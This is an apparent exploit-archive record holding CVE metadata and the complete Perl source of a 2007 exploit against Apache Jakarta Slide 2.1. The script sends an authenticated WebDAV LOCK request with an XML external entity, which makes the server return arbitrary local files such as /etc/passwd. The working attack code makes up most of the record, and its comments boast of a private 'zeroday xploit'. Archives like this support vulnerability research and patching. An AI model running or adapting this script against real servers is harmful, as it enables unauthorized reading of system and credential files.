{"exploit":{"id":"EDB-4567","name":"Jakarta Slide 2.1 RC1 - Remote File Disclosure","description":"Jakarta Slide 2.1 RC1 - Remote File Disclosure","cves":["CVE-2007-5731"],"author":"kingcope","published":"2007-10-24","platform":"multiple","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4567","path":"exploits/multiple/remote/4567.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4567.pl","vulnerabilities":[{"id":"CVE-2007-5731","state":"PUBLISHED","title":null,"titleSource":null,"description":"Absolute path traversal vulnerability in Apache Jakarta Slide 2.1 and earlier allows remote authenticated users to read arbitrary files via a WebDAV write request that specifies an entity with a SYSTEM tag, a related issue to CVE-2007-5461.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5731","cvss":{"version":"2.0","baseScore":3.5,"severity":"low","vectorString":"AV:N/AC:M/Au:S/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5731"},"updatedAt":"2024-08-07T15:39:13.687Z","retrievedAt":"2026-11-26T20:09:01.312Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4567.png?v=2","url":"https://exploitbin.com/exploits/EDB-4567","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4567/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4567/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#******************************************************\n# Jakarta Slide Remote File Disclosure Zeroday Xploit\n# eliteb0y / 2007\n#\n# thanx to the whole team & andi :)\n# +++KEEP PRIV8+++\n#\n# This Bug may reside in different WebDav implementations,\n# Warp your mind!\n# +You will need auth for the exploit to work...\n#******************************************************\n\nuse IO::Socket;\nuse MIME::Base64; ### FIXME! Maybe support other auths too ?\n\n# SET REMOTE PORT HERE\n$remoteport = 8080;\n\nsub usage {\n\tprint \"Jakarta Slide Remote File Disclosure Zeroday Xploit\\n\";\n\tprint \"eliteb0y / 2007\\n\";\n\tprint \"usage: perl JAKARTAXPL <remotehost> <slide file> <file to retrieve> [username] [password]\\n\";\n\tprint \"example: perl JAKARTAXPL www.hostname.com /slide/users/guest /etc/passwd guest guest\\n\";exit;\n}\n\nif ($#ARGV < 2) {usage();}\n\n$hostname = $ARGV[0];\n$webdavfile = $ARGV[1];\n$remotefile = $ARGV[2];\n\n$username = $ARGV[3];\n$password = $ARGV[4];\n\nmy $sock = IO::Socket::INET->new(PeerAddr => $hostname,\n                              PeerPort => $remoteport,\n                              Proto    => 'tcp');\n\n$|=1;\n$BasicAuth = encode_base64(\"$username:$password\");\n\n$KRADXmL =\n\"<?xml version=\\\"1.0\\\"?>\\n\"\n.\"<!DOCTYPE REMOTE [\\n\"\n.\"<!ENTITY RemoteX SYSTEM \\\"$remotefile\\\">\\n\"\n.\"]>\\n\"\n.\"<D:lockinfo xmlns:D='DAV:'>\\n\"\n.\"<D:lockscope><D:exclusive/></D:lockscope>\\n\"\n.\"<D:locktype><D:write/></D:locktype>\\n\"\n.\"<D:owner>\\n\"\n.\"<D:href>\\n\"\n.\"<REMOTE>\\n\"\n.\"<RemoteX>&RemoteX;</RemoteX>\\n\"\n.\"</REMOTE>\\n\"\n.\"</D:href>\\n\"\n.\"</D:owner>\\n\"\n.\"</D:lockinfo>\\n\";\n\nprint \"Jakarta Slide Remote File Disclosure Zeroday Xploit\\n\";\nprint \"eliteb0y / 2007\\n\";\nprint \"Launching Remote Exploit...\\n\";\n\n$ExploitRequest =\n \"LOCK $webdavfile HTTP/1.1\\r\\n\"\n.\"Host: $hostname\\r\\n\";\n\nif ($username ne \"\") {\n$ExploitRequest .= \"Authorization: Basic $BasicAuth\";\n}\n$ExploitRequest .= \"Content-Type: text/xml\\r\\nContent-Length: \".length($KRADXmL).\"\\r\\n\\r\\n\" . $KRADXmL;\n\nprint $sock $ExploitRequest;\n\nwhile(<$sock>) {\n\tprint;\n}\n\n# milw0rm.com [2007-10-24]","sha256":"847c4a9bd335e762c7fa367c05780a51e0e7d938a451303f3166d4138f6a8579","bytes":2039,"fetchedAt":"2026-11-26T20:09:01.000Z","encoding":"utf-8 (display only; download retains original bytes)"}